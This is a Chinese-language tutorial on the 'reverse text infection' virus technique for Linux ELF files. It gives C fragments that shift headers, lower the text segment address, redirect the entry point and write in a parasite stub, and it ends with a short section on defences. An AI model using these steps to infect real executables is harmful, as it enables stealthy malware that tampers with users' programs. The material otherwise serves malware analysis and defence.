Linux病毒技术之逆向text感染
字数 1190 2025-08-05 08:18:36
Linux病毒技术之逆向text感染详解
一、逆向text感染技术概述
逆向text感染是一种针对ELF格式可执行文件的病毒注入技术,它通过修改ELF文件头中的text段内存映射地址,向低地址方向扩展内存空间来注入寄生代码。
核心原理
- 利用ELF文件默认加载地址(32位0x8048000/64位0x400000)之前的未使用内存空间
- 通过减小text段的虚拟地址(p_vaddr)来扩展内存映射范围
- 在扩展的空间中注入寄生代码并修改程序入口点
二、ELF内存装载基础
关键知识点
-
默认加载地址:
- 32位程序:0x8048000
- 64位程序:0x400000
-
内存映射规则:
- 内核根据程序头表中的p_vaddr属性加载内容
- 主要加载text段(代码段)和data段(数据段)
-
最小虚拟映射地址:
- 由
/proc/sys/vm/mmap_min_addr定义(通常为4096/0x1000) - 扩展长度必须是此值的整数倍
- 由
三、逆向text感染实现步骤
1. 修改节头表偏移
o_shoff = e_hdr->e_shoff;
e_hdr->e_shoff += PAGE_SIZE; // 增加一个页大小(4096)
2. 修改text段程序头
p_hdr[i].p_vaddr -= PAGE_SIZE; // 减小虚拟地址
p_hdr[i].p_paddr -= PAGE_SIZE; // 减小物理地址
p_hdr[i].p_filesz += PAGE_SIZE; // 增加文件大小
p_hdr[i].p_memsz += PAGE_SIZE; // 增加内存大小
3. 调整其他区段偏移
// 除text段外的所有程序头偏移增加
p_hdr[i].p_offset += PAGE_SIZE;
// 所有节头偏移增加
s_hdr[i].sh_offset += PAGE_SIZE;
4. 修改程序入口点
entry_point = e_hdr->e_entry; // 保存原始入口点
e_hdr->e_entry = p_hdr[i].p_vaddr; // 设置为新text段起始地址
e_hdr->e_entry += sizeof(*e_hdr); // 加上ELF头大小
5. 调整程序头偏移
e_hdr->e_phoff += PAGE_SIZE;
6. 插入寄生代码
// 写入文件头
write(ofd, mem, ehdr_size);
// 写入寄生代码(包含跳转回原始入口点的指令)
*(unsigned int *)¶site[return_entry_start] = entry_point;
write(ofd, parasite, psize);
// 填充剩余空间并写入原文件内容
lseek(ofd, ehdr_size + PAGE_SIZE, SEEK_SET);
write(ofd, mem + ehdr_size, st.st_size - ehdr_size);
四、寄生代码示例
典型寄生代码结构
push 0xXXXXXXXX ; 原始入口点地址
ret ; 返回到原始程序
C语言表示
char parasite[] = "\x68\x00\x00\x00\x00\xc3";
// \x68是push指令,\xc3是ret指令
五、感染前后对比
感染前text段
LOAD 0x000000 0x400000 0x400000 0x0824 0x0824 R E 200000
感染后text段
LOAD 0x000000 0x3ff000 0x3ff000 0x1824 0x1824 R E 200000
变化:
- 虚拟地址从0x400000变为0x3ff000(减小0x1000)
- 文件大小从0x824变为0x1824(增加0x1000)
六、关键注意事项
-
对齐要求:
- 所有修改必须符合页对齐(通常4096字节)
- 寄生代码长度不能超过一个页减去ELF头大小
-
兼容性问题:
- 需要考虑不同架构的默认加载地址
- 注意32位和64位ELF结构的差异
-
寄生代码设计:
- 必须保留原始程序功能
- 需要正确跳转回原始入口点
七、完整实现代码解析
代码主要分为以下几个部分:
-
初始化检查:
- 验证文件是否为有效ELF
- 获取文件大小并映射到内存
-
ELF头修改:
- 调整节头表偏移
- 修改text段程序头属性
- 更新程序入口点
-
文件重构:
- 写入修改后的ELF头
- 插入寄生代码
- 写入原始文件内容
八、防御措施
了解攻击技术的同时也应了解防御方法:
-
ELF文件完整性检查:
- 验证程序头表是否被修改
- 检查text段虚拟地址是否异常
-
地址空间随机化(ASLR):
- 使内存布局不可预测
- 增加注入难度
-
代码签名:
- 验证可执行文件的数字签名
- 防止未经授权的修改
九、总结
逆向text感染技术通过利用ELF加载机制中的内存映射特性,实现了在保持原始程序功能的同时注入寄生代码。理解这一技术不仅有助于分析恶意软件,也能帮助开发更安全的ELF文件保护机制。
关键要点:
- 利用text段前的未使用内存空间
- 通过修改程序头表实现内存扩展
- 精心设计的寄生代码必须保留原始程序功能
- 所有修改必须符合ELF规范和系统内存管理要求